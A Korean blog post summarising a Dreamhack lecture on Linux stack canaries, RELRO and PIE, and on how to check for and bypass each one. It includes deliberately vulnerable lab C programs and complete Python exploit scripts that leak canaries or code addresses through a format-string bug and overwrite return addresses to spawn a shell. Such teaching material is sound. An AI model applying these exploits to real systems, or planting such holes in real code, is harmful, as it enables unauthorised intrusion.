혜랑's STORY

[Linux Exploitation&Mitigation Part 3] 본문

무지성 공부방/Dreamhack SystemHacking

[Linux Exploitation&Mitigation Part 3]

hyerang0125 2021. 2. 28. 12:58
  본 포스팅은 DreamHack 사이트의 Linux Exploitation & Mitigation Part 3 강의 내용을 요약한 것이다. 강의의 주소는 다음과 같다.
 

해커들의 놀이터, Dreamhack

해킹과 보안에 대한 공부를 하고 싶은 학생, 안전한 코드를 작성하고 싶은 개발자, 보안 지식과 실력을 업그레이드 시키고 싶은 보안 전문가까지 함께 공부하고 연습하며 지식을 나누고 실력 향

dreamhack.io

 

1. SSP (Stack Smashingg Protector)

- 메모리 커럽션 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호 기법이다. 스택 버퍼와 스택 프레임 포인터 사이에 랜덤 값을 삽입하여 함수 종표 시점에서 랜덤 값 변조 여부를 검사함으로써 스택이 망가뜨려졌는지 확인한다.

 SSP 보호 기법이 적용되어 있다면 함수에서 스택을 사용할 때 카나리가 생성된다. 마스터 카나리는 main 함수가 호출되기 전에 랜덤으로 생성된 카나리를 스레드 별 전역변수로 사용되는 TLS(Thread Local Storage)에 저장한다. 이때 TLS 영역은 _dl_allocate_tls_storage 함수에서 __libc_memalign 함수를 호출하여 할당된다.

TLS는 tcbhead_t 구조체를 가지는데 다음과 같은 멤버 변수들이 존재한다.

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  int gscope_flag;
#ifndef __ASSUME_PRIVATE_FUTEX
  int private_futex;
#else
  int __glibc_reserved1;
#endif
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
} tcbhead_t;

 

security_init 함수는 _dl_allocate_tls_storage 함수에서 반환한 랜덤 카나리 값을 설정한다.

>> security_init

static void
security_init (void)
{
  /* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
  THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
  __stack_chk_guard = stack_chk_guard;
#endif

 

>> _dl_allocate_tls_storage

void *
internal_function
_dl_allocate_tls_storage (void)
{
  void *result;
  size_t size = GL(dl_tls_static_size);
#if TLS_DTV_AT_TP
  /* Memory layout is:
     [ TLS_PRE_TCB_SIZE ] [ TLS_TCB_SIZE ] [ TLS blocks ]
			  ^ This should be returned.  */
  size += (TLS_PRE_TCB_SIZE + GL(dl_tls_static_align) - 1)
	  & ~(GL(dl_tls_static_align) - 1);
#endif
  /* Allocate a correctly aligned chunk of memory.  */
  result = __libc_memalign (GL(dl_tls_static_align), size);

 

THREAD_SET_STACK_GUARD 메크로는 TLS 영역의 header.stack_guard에 카나리의 값을 삽입하는 역할을 한다.

#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

 

>> master1.c

// gcc -o master1 master1.c
#include <stdio.h>
#include <unistd.h>
int main()
{
	char buf[256];
	read(0, buf, 256);
}

 

위 코드는 256 바이트 배열 buf를 할당하고 read 함수를 통해서 입력받는 예제이다. SSP 보호기법이 적용되어 있고 지역 변수를 사용하므로 main 함수에서 카나리를 삽입하고 검사하는 루틴이 존재한다.

컴파일러에서 SSP 보호기법을 적용하는 경우 스택 배열을 사용하는 함수가 있으면 함수의 시작 부분과 끝 부분에 stack_guard 체크 코드가 삽입된다. 함수의 프롤로그와 에필로그에 스택 카나리 검증 루틴이 추가된 것을 볼 수 있다.

buf 배열의 사이즈보다 긴 값을 인자로 전달해 스택 버퍼 오버플로우 취약점을 트리거해보자.

>> ssp.c

// gcc -o ssp ssp.c -m32
#include <stdio.h>
#include <string.h>
void func(char *s){
    char buf[16] = {};
    /* 
    long canary = stack_guard; 
    */
    strcpy(buf, s);
    /* 
    if (canary != stack_guard)
        stack_chk_fail();
    */
}
int main(int argc, char *argv[]){
	func(argv[1]);
}

 

__stack_chk_fail 함수가 호출되어 "stack smashing detected" 문자열이 출력되고 프로그램이 종료된다.

 

+) Bypassing SSP - 1

SSP 보호기법을 우회하기 위해선 스택 메모리에 존재하는 스택 카나리의 값을 변조시키지 않은 채로 익스플로잇 해야 한다. 스택 오버플로우 취약점이 존재하는 다음 예시에서, SSP 보호기법을 우회하여 익스플로잇하는 실습을 해보자.

>> example6.c

// gcc -o example6 example6.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
void give_shell(void){
  system("/bin/sh");
}
int main(void){
  
  char buf[32] = {};
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  printf("Input1 : ");
  read(0, buf, 512);
  printf("Your input : %s", buf);
  printf("Input2 : ");
  read(0, buf, 512);
}

 

시크릿 버퍼를 출력한 모습니다.

우선 gdb를 이용해 buf 배열부터 스택 카나리+1까지의 오프셋을 구한다. (실습이 원활히 이루어지지 않아 일단 드림핵에 있는 자료를 이용하여 정리함.)

$ gdb -q ./example6
Reading symbols from ./example6...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0804855e <+0>:	push   ebp
   0x0804855f <+1>:	mov    ebp,esp
   0x08048561 <+3>:	sub    esp,0x24
   0x08048564 <+6>:	mov    eax,gs:0x14
   0x0804856a <+12>:	mov    DWORD PTR [ebp-0x4],eax
   …
   0x080485c0 <+98>:	add    esp,0x4
   0x080485c3 <+101>:	push   0x200
   0x080485c8 <+106>:	lea    eax,[ebp-0x24]
   0x080485cb <+109>:	push   eax
   0x080485cc <+110>:	push   0x0
   0x080485ce <+112>:	call   0x80483e0 <read@plt>
   …
   0x0804860c <+174>:	mov    edx,DWORD PTR [ebp-0x4]
   0x0804860f <+177>:	xor    edx,DWORD PTR gs:0x14
   0x08048616 <+184>:	je     0x804861d <main+191>
   0x08048618 <+186>:	call   0x8048400 <__stack_chk_fail@plt>
   0x0804861d <+191>:	leave  
   0x0804861e <+192>:	ret    
End of assembler dump.
(gdb) b *0x080485ce
Breakpoint 1 at 0x80485ce
(gdb) r
Starting program: ~/example6 
Input1 : 
Breakpoint 1, 0x080485ce in main ()
(gdb) x/3wx $esp
0xffffd528: 0x00000000  0xffffd534  0x00000200
(gdb) x/40wx 0xffffd534
0xffffd534: 0x00000000  0x00000000  0x00000000  0x00000000
0xffffd544: 0x00000000  0x00000000  0x00000000  0x00000000
0xffffd554: 0xc5a20100  0x00000000  0xf7e19637  0x00000001
0xffffd564: 0xffffd5f4  0xffffd5fc  0x00000000  0x00000000
0xffffd574: 0x00000000  0xf7fb3000  0xf7ffdc04  0xf7ffd000
0xffffd584: 0x00000000  0xf7fb3000  0xf7fb3000  0x00000000
0xffffd594: 0x0416aed7  0x389780c7  0x00000000  0x00000000
0xffffd5a4: 0x00000000  0x00000001  0x08048450  0x00000000
0xffffd5b4: 0xf7fee010  0xf7fe8880  0xf7ffd000  0x00000001
0xffffd5c4: 0x08048450  0x00000000  0x08048471  0x0804855e
(gdb) p/x 0xffffd555-0xffffd534
$1 = 0x21
(gdb) 

 

 gdb로 확인한 결과 스택 카나리+!부터 buf 까지의 오프셋은 0x21인 것을 알 수 있다. 이를 이용하여 스크립트를 작성해 보자.

>> example6_leak.py

#!/usr/bin/python
'''
example6_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example6", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) 
write(s, "A"*33)
data = read(out_r, 1024)                    # printing until null byte (containing canary)
print `"[+] data : " + data`
canary = "\x00" + data.split("A"*33)[1][:3] # retrieving canary from data
print "[+] CANARY : " + hex(u32(canary))

 

위 코드를 실행하여 스택 카나리의 값을 출력해 보자.

$ python example6_leak.py
Input1 : 
'[+] data : Your input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE\x8b\xa5'
[+] CANARY : 0xa58b4500

 

다음으로는 구한 스택 카나리 값을 이용해 main 함수의 2번째 read 함수에서 스택 버퍼 오버플로우를 익스플로잇 할 수 있다. gdb를 이용해 give_shell 함수의 주소를 구한 후 리턴 주소를 덮어 셸을 획득해 보자.

(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x804854b <give_shell>
(gdb) 

 

>> example6.py

#!/usr/bin/python
'''
example6.py
'''
import struct
import subprocess
import os
import pty
import sys
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example6", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) # "Input1 : "
write(s, "A"*33)
data = read(out_r, 1024)                    # printing until null byte (containing canary)
print `"[+] data : " + data`
canary = "\x00" + data.split("A"*33)[1][:3] # retrieving canary from data
print "[+] CANARY : " + hex(u32(canary))
print read(out_r, 10) # "Input2 : "
giveshell = 0x804854b
payload  = "A"*32 # filling buf
payload += canary
payload += "B"*4 # padding until return address
payload += p32(giveshell)
write(s, payload)
print "[+] get shell"
while True:
  cmd = raw_input("$ ")
  writeline(s, cmd)
  res = read(out_r, 102400)
  sys.stdout.write(res)

 

위 코드는 example6의 리턴 주소를 give_shell 함수의 주소인 0x804854b로 바꾸어 셸을 획득하는 파이썬 스크립트이다. 실행하면 다음과 같이 셸이 획득되는 것을 확인할 수 있다.

$ python example6.py
Input1 : 
'[+] data : Your input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1b\xf2\x13'
[+] CANARY : 0x13f21b00
Input2 : 
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$

 

+) SSP 설정 여부 확인

SSP가 적용되어 있는 바이널리의 디스어셈블리 결과를 보면, 스택 카나리가 변조되었을 때 함수의 에필로그에서 stack_chk_fail 함수를 호출하는 코드를 확인할 수 있다. stack_chk_fail은 표준 라이브러리인 libc.so.6에 존재하는 함수이기 때문에, 바이너리에 이 함수의 심볼이 존재하는지 확인하는 것만으로 SSP 적용 여부를 알 수 있다.

 

2. RELRO(Relocation Read-Only)

+) Bypassing RELRO

ELF 바이너리에서 printf와 같이 동적으로 링크된 라이브러리의 함수를 호출할 때, 호출된 함수의 주소를 찾기 위해 PLT와 GOT를 사용한다는 것을 배웠다. GOT는 처음에 라이브러리 함수의 주소를 구하는 바이너리 코드 영역 주소가 저장되어 있다가, 함수가 처음 호출될 때 라이브러리 함수의 실제 주소가 저장된다.

이렇듯 바이너리가 실행되는 도중, 함수가 처음 호출된 때 주소를 찾는 방식을 Lazy Binding이라고 한다. Lazy Binding을 할 때는 프로그램이 실행되고 있는 도중 GOT에 라이브러리 함수의 주소를 덮어써야 하기 때문에 GOT에 쓰기 권한이 있어야 한다.

그러나 RELRO 보호기법이 설정되어 있으면 GOT와 같은 다이나믹 섹션이 읽기 권한만을 가지게 된다.

>> example7.c

// gcc -o example7 example7.c -mpreferred-stack-boundary=2 -Wl,-z,relro,-z,now
#include <stdio.h>
void arbitrary_read(long * addr){
  printf("%lx\n", *addr);
}
void arbitrary_write(long *addr, long val){
  *addr = val;
}
void menu(void){
  puts("0. exit");
  puts("1. Leak Address");
  puts("2. Arbitrary Write");
}
int main(void){
  
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  int choice = 0;
  long addr = 0;
  long value = 0;
  while(1){
    menu();
    scanf("%d", &choice);
    switch(choice){
      case 1:
        printf("Which address? : ");
        scanf("%lu", &addr);
        
        arbitrary_read(addr);
        break;
      case 2:
        printf("Address : ");
        scanf("%lu", &addr);
        printf("Value : ");
        scanf("%lu", &value);
        
        arbitrary_write(addr, value);
        break;
      
      case 0:
        return 0;
      default:
        break;
    }
  }
}

 

RELRO 옵션과 함께 컴파일한 바이너리이다. 실행 결과는 다음과 같다.

0. exit
1. Leak Address
2. Arbitrary Write

 

1번 메뉴에서는 임의 주소 읽기가 2번 메뉴에서는 임의 주소 쓰기가 가능한 것을 확인할 수 있다.

우선 system 함수의 주소를 구하기 위해 libc.so.6 라이브러리 주소를 릭해보자. RELRO 보호기버버이 적용되어 있다 하더라도 GOT에 라이브러리 주소가 저장되어 있기 때문에 GOT를 이용하면 libc.so.6 라이브러리의 주소를 구할 수 있다.

menu 함수에 있는 puts@plt로부터 puts@got의 위치를 찾아보자. 

$ gdb -q ./example7
Reading symbols from ./example7...(no debugging symbols found)...done.
(gdb) disas menu
Dump of assembler code for function menu:
   0x08048572 <+0>:	push   ebp
   0x08048573 <+1>:	mov    ebp,esp
   0x08048575 <+3>:	push   0x8048745
   0x0804857a <+8>:	call   0x8048420
   0x0804857f <+13>:	add    esp,0x4
   0x08048582 <+16>:	push   0x804874d
   0x08048587 <+21>:	call   0x8048420
   0x0804858c <+26>:	add    esp,0x4
   0x0804858f <+29>:	push   0x804875d
   0x08048594 <+34>:	call   0x8048420
   0x08048599 <+39>:	add    esp,0x4
   0x0804859c <+42>:	nop
   0x0804859d <+43>:	leave  
   0x0804859e <+44>:	ret    
End of assembler dump.
(gdb) x/2i 0x8048420
   0x8048420:	jmp    DWORD PTR ds:0x8049fec
   0x8048426:	xchg   ax,ax

 

puts@got의 주소는 0x8049fec인 것을 알 수 있다.

>> example7_leak.py

#!/usr/bin/python
'''
example7_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def readuntil(fd, needle):
  res = ''
  while True:
    res += os.read(fd, 1)
    if needle in res:
      return res
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example7", stdin=subprocess.PIPE, stdout=out_w)
def arb_read(addr):
  readuntil(out_r, "2. Arbitrary Write")
  writeline(s, "1")
  readuntil(out_r, ": ")
  writeline(s, "%d"%addr)
  return int(readuntil(out_r, "\n"), 16)
puts_addr = arb_read(0x8049fec)
print "puts @ "+hex(puts_addr)

 

이는 1번 메뉴에 puts의 GOT 주소인 0x8049fec를 입력하여 puts 함수의 주소를 구하는 코드인다. 이를 실행하면 다음과 같이 puts 함수의 주소가 출력되는 것을 볼 수 있다.

$ example7_leak.py 
puts @ 0xf7e0eca0

 

example7의 메모리 권한을 보면 GOT에 쓰기 권한이 없다. 하지만 RELRO 보호기법이 적용되어 있더라도 스택등 동적으로 데이터를 써야 하는 메모리에는 여전히 쓰기 권한이 있다. 2번 메뉴인 임의 주소 쓰기 기능을 이용해 main 함수의 리턴 주소를 덮어써 익스플로잇 할 수 있다.

>>example7의 메모리 권한

(gdb) x/2i 0x8048420
   0x8048420:	jmp    DWORD PTR ds:0x8049fec
   0x8048426:	xchg   ax,ax
(gdb) info proc
process 5004
...
(gdb) shell cat /proc/5004/maps
08048000-08049000 r-xp 00000000 08:01 162698                             ~/example7
08049000-0804a000 r--p 00000000 08:01 162698                             ~/example7
0804a000-0804b000 rw-p 00001000 08:01 162698                             ~/example7
…
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

 

+) RELRO가 설정되어 있는지 확인하는 방법

RELRO는 바이너리 섹션에 Read Only가 적용된 정도에 따라 크게 No RELRO, Partial RELRO, Full RELRO 세단계로 나뉠 수 있다.

  • No RELRO : 바이너리에 RELRO 보호기법이 아예 적용되어 있지 않은 상태
  • Partial RELRO : .init_arry나 .fini_arry 등 non-PLT GOT에 대한 쓰기 권한을 제거한 상태이다.
  • Full RELRO : GOT 섹션에 대한 쓰기 권한까지 제거해 .bss 영역을 제외한  모든 바이너리 섹션에서 쓰기 권한이 제거된 상태이다.

readelf를 사용하면 ELF 바이너리에 설정된 RELRO 보호기법을 체크할 수 있다.

Full RELRO는 해당 바이너리가 Now Binding을 하는지 Lazy Binding을 하는지에 대한 검사를 통해 확인할 수 있다. 간단하게 readelf -a의 출력 결과에 BIND_NOW 문자열을 그랩해봄으로써 체크 가능하다.

$ readelf -a ./example7 | grep BIND_NOW
 0x00000018 (BIND_NOW)  

 

만약 바이너리의 readelf 출력 결과에 BIND_NOW 문자열이 없으면, GNU_RELRO 문자열의 검사를 통해 Partial RELRO 적용 여부를 확인할 수 있다.

$ readelf -a ./example4 | grep GNU_RELRO
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

 

3. PIE (Position Independent Executable)

- 바이너리가 로딩될 때 랜덤한 주소에 매핑되는 보호기법이다. 원리는 공유 라이브러리와 비슷하며 컴파일러는 바이너리가 메모리 어디에 매핑되어도 실행에 지장이 없도록 바이너리를 위치 독립적으로 컴파일한다. 이는 결과 코드 영역의 주소 랜덤화를 가능하게 해주며, PIE가 설정되어 있으면 코드 영역의 주소가 실행될 때마다 변하기 때문에 ROP와 같은 코드 재사용 공격을 막을 수 있다.

PIE 보호기법을 우회하기 위햏서는 코드 영역의 주소를 알아내야 한다. PIE가 설정되어 있을 떄 코드 영역은 공유 라이브러리처럼 메모리에 로딩되기 때문에 libc.so.6 라이브러리 주소를 구하는 과정과 같이 특정 코드 영역의 주소를 알아낸다면 코드 영역 베이스 주소를 구할 수 있다.

>> example8.c

// gcc -o example8 example8.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -fPIC -pie
#include <stdio.h>
void give_shell(void){
  system("/bin/sh");
}
void vuln(void){
  char buf[32] = {};
  printf("Input1 > ");
  read(0, buf, 512);    // Buffer Overflow
  printf(buf);          // Format String Bug
  printf("Input2 > ");
  read(0, buf, 512);    // Buffer Overflow
}
int main(void){
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  vuln();
}

 

$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x000006f5 <+0>:	push   ebp
   0x000006f6 <+1>:	mov    ebp,esp
   0x000006f8 <+3>:	push   ebx
   0x000006f9 <+4>:	sub    esp,0x20

 

gdbㄹ로 vuln 함수를 디스어셈블 했을 때 주소가 오프셋 형태로 출력되는 것을 확인할 수 있다.

바이너리에는 셸을 실행시켜주는 give_shell 함수가 있다. 우선 give_shell 함수의 주소를 구하고 스택 버퍼 오버플로우 취약점으로 리턴 주소를 give_shell 함수의 주소로 덮어 셸을 실행해보자.

>> printf가 호출되는 시점의 스택 메모리

$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x780
Starting program: ~/example8 
Temporary breakpoint 1, 0x56555780 in main ()
(gdb) disas vuln
Dump of assembler code for function vuln:
...
   0x00000745 <+80>:	add    esp,0xc
   0x00000748 <+83>:	lea    eax,[ebp-0x24]
   0x0000074b <+86>:	push   eax
   0x0000074c <+87>:	call   0x510 <printf@plt>
...
End of assembler dump.
(gdb) b *0x5655574c
Breakpoint 2 at 0x5655574c
(gdb) c
Continuing.
Input1 > aaaabbbbcccc
Breakpoint 2, 0x5655574c in vuln ()
(gdb) x/40wx $esp
0xffffd524:	0xffffd528	0x61616161	0x62626262	0x63636363
0xffffd534:	0x0000000a	0x00000000	0x00000000	0x00000000
0xffffd544:	0x00000000	0x56557000	0xffffd558	0x565557be
0xffffd554:	0x00000000	0x00000000	0xf7e19637	0x00000001
0xffffd564:	0xffffd5f4	0xffffd5fc	0x00000000	0x00000000
0xffffd574:	0x00000000	0xf7fb3000	0xf7ffdc04	0xf7ffd000
0xffffd584:	0x00000000	0xf7fb3000	0xf7fb3000	0x00000000
0xffffd594:	0xb988c975	0x8509e765	0x00000000	0x00000000
0xffffd5a4:	0x00000000	0x00000001	0x56555560	0x00000000
0xffffd5b4:	0xf7fee010	0xf7fe8880	0x56557000	0x00000001
(gdb) x/s 0xffffd528
0xffffd528:	"aaaabbbbcccc\n"
(gdb)

 

스택 메모리를 보면, 0xffffd550에 바이너리 코드 영역의 주소인 0x565557be이 저장되어 있는 것을 볼 수 있다. gdb로 확인해 본 결과 0x565557be는 vuln 함수의 리턴 주소인 것을 알 수 있다.

바이너리 코드 영역의 주소를 구해 give_shell 주소를 계산하는 것이 목표이기 떼문에 포맷 스트링 버그를 이용해 0xffffd550에 있는 값을 출력시켜 보자.

Input1 > %x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
255f7825_78255f78_5f78255f_255f7825_78255f78_5f78255f_255f7825_78255f78_5655700a_ffffd558_565557be

 

11번째 "%x"에 대한 결과로 565557be가 출력되어 바이너리의 코드 주소를 알아내었다. 이 주소를 이용해 gove_shell의 주소를 계산해보자.

(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x565556d0 <give_shell>
(gdb) p/x 0x565557be - 0x565556d0
$2 = 0xee
(gdb) 

 

give_shell의 주소는 0x565557be - 0xee인 것을 확인하였다.

>> example8_leak.py

#!/usr/bin/python
'''
example8_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) 
writeline(s, "%x_"*11)
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16)            # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)

 

스크립트를 실행하면 다음과 같이 give_shell 함수의 주소가 출력된다.

$ python example8_leak.py
Input1 > 
vuln_ret_addr @ 0x565b67be
give_shell @ 0x565b66d0

 

스택 오버플로우 취약점을 이용해 vuln 함수의 리턴 주소를 덮어 셸을 실행해 보자.

buf로부터 리턴 주소까지의 오프셋은 40바이트이므로 최종 공격 페이로드는 아래와 같이 구성된다.

"A" * 40 + give_shell

 

#!/usr/bin/python
'''
example8.py
'''
import struct
import subprocess
import os
import pty
import sys
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) 
write(s, "%x_"*11+"\n\x00")
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16)            # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)
read(out_r, 1024)
payload  = "A"*40
payload += p32(give_shell)
write(s, payload)
print "[+] get shell"
while True:
  cmd = raw_input("$ ")
  writeline(s, cmd)
  res = read(out_r, 102400)
  sys.stdout.write(res+'\n')

 

익스플로잇 코드이다. 실행한 결과는 다음과 같다.

$ python example8.py
Input1 > 
vuln_ret_addr @ 0x565eb7be
give_shell @ 0x565eb6d0
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)

 

+) PIE가 설정되어 있는지 확인하는 방법

- readelf를 이용해 바이너리의 type header를 검사하는 것으로 바이너리의 PIE 적용 여부를 체크할 수 있다.

$ readelf -h ./no_pie | grep Type
  Type:                              EXEC (Executable file)
$ readelf -h ./pie | grep Type
  Type:                              DYN (Shared object file)

 

type header의 경우 일반적인 실행 파일은 EXEC, 라이브러리와 같은 shared 파일은 DYN 값을 갖는다. PIE가 적용되어 있는 바이너리의 타입은 DYN 이다.